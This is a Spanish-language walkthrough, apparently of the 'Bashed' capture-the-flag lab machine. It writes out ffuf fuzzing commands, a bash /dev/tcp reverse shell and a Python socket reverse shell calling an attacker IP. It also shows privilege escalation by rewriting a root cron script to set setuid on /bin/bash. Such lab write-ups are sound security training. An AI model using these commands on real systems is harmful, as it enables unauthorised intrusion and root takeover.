BASHED

Adrian Vidal Portofolio
# Escaneo Se realiza un primer escaneo para conocer que puertos se encuentran abiertos. En este caso, solo se obtiene un resultado: 80. Visualizando la versión utilizada, se obtiene que se es un servidor Apache bajo la versión 2.4.18. # Fuzzing Realizando un escaneo de los directorios y ficheros que se pueden encontrar accesibles en el dominio, en lo relativo a directorios, se pueden localizar _directory listing_. Para esto, se ha utilizado el diccionario _raft-medium-directories.txt_ que se encuentra disponible en el repositorio de github [SecLists](https://github.com/danielmiessler/SecLists). ``` ffuf -w raft-medium-directories.txt -t 100 -u http://[ip]/FUZZ ```
![Fuzzing directorios | center](../assets/img/bashed/ffuf.png )
Por otro lado, en cuanto a ficheros, se observa que el fichero _config.php_ está disponible. En este caso se utiliza el direccionario dedicado a ficheros que se encuentra en el mismo repositorio. ``` ffuf -w raft-medium-files.txt -t 100 -u http://[ip]/ FUZZ ``` # Web La página web que muestra la visita al dominio de la página, enseña como utilizar **phpbash** que se encuentra en el directorio _dev_ encontrado durante la realización de enumeración de directorio y archivos. Al abrir el archivo, este nos muestra una terminal a través del usuario **www-data**.
![Terminal | center](../assets/img/bashed/terminal.png )
# Explotación Se ha optado por establecer una _reverse shell_ para continuar la explotación de la máquina. Para conseguir esto se ha utilizado netcat en el dispositivo atacante y una llamada a _reverse shell_ con bash desde la terminal encontrada en el dominio web. ``` nc - nlvp 4444 # Escucha de todas las conexiones al puerto 4444 # Conexion a través de reverse shell bash -c "bash -i >& /dev/tcp/[ip_propia]/[port] 0>&1" ``` Para evitar problemas al establecer la reverse shell se cambian los & a código URI, tomando el valor de %26. Desde la raı́z de directorios, se ha viajado al directorio home, en el cual se han descubierto dos usuarios: - arrexel - scriptmanager Al intentar acceder a cada uno de estos directorio se encuentra la _flag_ de usuario asociada al usuario dentro del _/home_ del usuario _arrexel_.
![User Flag | center](../assets/img/bashed/user.png )
Por otro lado, el usuario _scriptmanager_ ha denegado la entrada a su directorio _/home_. Cuando se ha conseguido establecer la conexión a través de una _shell_, se consigue siendo el usuario _www-data_, por lo tanto, el siguiente paso a realizar es la comprobación de los privilegios con los que cuenta dicho usuario, utilizando el comando: ``` sudo -l ```
![Permisos | center](../assets/img/bashed/privesc.png )
El uso de este comando lista los comandos permitidos por parte del usuario actual. En este caso se ha observado como se puede acceder a través del uso del comando _sudo_ al usuario _scriptmanager_ sin tener que utilizar contraseña. Para lograr esto, se ejecuta: ``` sudo -u scriptmanager bash -i ``` La ejecución de este comando otorga una _shell_ de dicho usuario. Tras una comprobación del directorio _/home_ del usuario actual, en el cual no se ha encontrado nada, se ha comprobado los permisos sobre los directorios del directorio raı́z.
![Home scriptmanager | center](../assets/img/bashed/directorios.png )
En esta comprobación se aprecia como el usuario _scriptmanager_ es propietario de la carpeta _scripts_.En este, se encuentran hay 2 archivos: 1. test.py (propiedad de scriptmanager) 2. test.txt (propiedad de root) A continuación, se mostrará la escalada de privilegios de dos posibles formas: 1. Modificación de permisos de la bash. 2. Estableciendo una nueva reserve shell. Con una breve comprobación se ha observado como el archivo _test.txt_ se ejecuta cada minuto, por lo que se trata de tarea de cron.Los permisos otorgados al archivo _test.py_, permiten su edición. ## Modificación de los permisos de bash Teniendo en cuenta que este archivo es ejecutado como usuario administrador, se ha optado por modificar los permisos otorgados a la terminal bash, para activar el _setuid_, el cual otorgará una terminal bajo el usuario _root_ momentáneamente, adquiriendo sobre la terminal unos privilegios mayores a los reales. ``` import os ``` ``` command = ’chmod u+s /bin/bash’ ``` ``` os.system(command) ``` Al cabo de un minuto, si se realiza la comprobación de permisos otorgados a la bash, la cual, anteriormente solo tenı́a acceso el usuario _root_, se puede observar como el usuario _scriptmanager_ podrá realizar una ejecución de esta, ya que se le serán otorgados unos privilegios mayores momentaneamente.
![Bash permissions | center](../assets/img/bashed/permisos_bash.png )
## Establecimiento de una reverse shell Otra posible solución a esta escalada de privilegios es el establecimiento de una nueva _reverse shell_ que será llamada desde el script _test.py_ que se ejecuta cada minuto. En este caso al tratase de un script de python, el código estblecido ha sido el siguiente: ``` import socket,subprocess,os ; ``` ``` s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); ``` ``` s.connect(("10.10.14.56",4445)); ``` ``` os.dup2(s.fileno(),0); ``` ``` os.dup2(s.fileno(),1); ``` ``` os.dup2(s.fileno(),2); ``` ``` p = subprocess.call(["/bin/sh","-i"]); ``` En otra terminal se activa el comando **nc -nlvp 4445**, el cual permanecerá a la escucha de nuevas conexiones. Al cabo de un minuto, se ejecutará una _shell_ en dicho terminal, siendo el usuario _root_. Al visitar el directorio root que se encuentra en la carpeta raı́z, se localiza la _flag_ restante, perteneciente a este usuario.
![Root Flag | center](../assets/img/bashed/root.png )